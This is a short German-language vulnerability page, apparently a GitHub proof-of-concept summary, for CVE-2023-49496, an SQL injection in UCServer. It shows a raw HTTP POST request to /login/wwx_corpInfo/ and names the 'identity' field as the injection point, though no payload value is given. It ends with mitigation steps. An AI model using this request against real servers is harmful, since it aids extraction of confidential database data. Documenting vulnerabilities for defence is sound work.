huangyanqwq/cve-2023-49496_pocProof-of-Concept-Exploit für CVE-2023-49496, der eine SQL-Injection in UCServer über den Endpunkt /login/wwx_corpInfo/ demonstriert, um vertrauliche Datenbankinformationen zu extrahieren.
UCServer ist ein fortschrittlicher Unified-Communications-Server. Bei UCServer von Shanghaier Shupin Informationstechnologie GmbH besteht eine SQL-Injection-Schwachstelle. Angreifer können diese Schwachstelle ausnutzen, um vertrauliche Datenbankinformationen zu erlangen.
POST /login/wwx_corpInfo/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://example.com/
Content-Length: 132
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: example.com
Proxy-Connection: Keep-alive
&identity=
Das Feld "identity" im POST-Request-Body ist der Injection-Punkt.
Aktivieren Sie die Web Application Firewall (WAF); blockieren Sie jeglichen IP-Zugriff auf den Pfad "/login/wwx_corpInfo/"; deaktivieren Sie den externen Fernzugriff auf die Datenbank; aktualisieren Sie die Datenbankversion.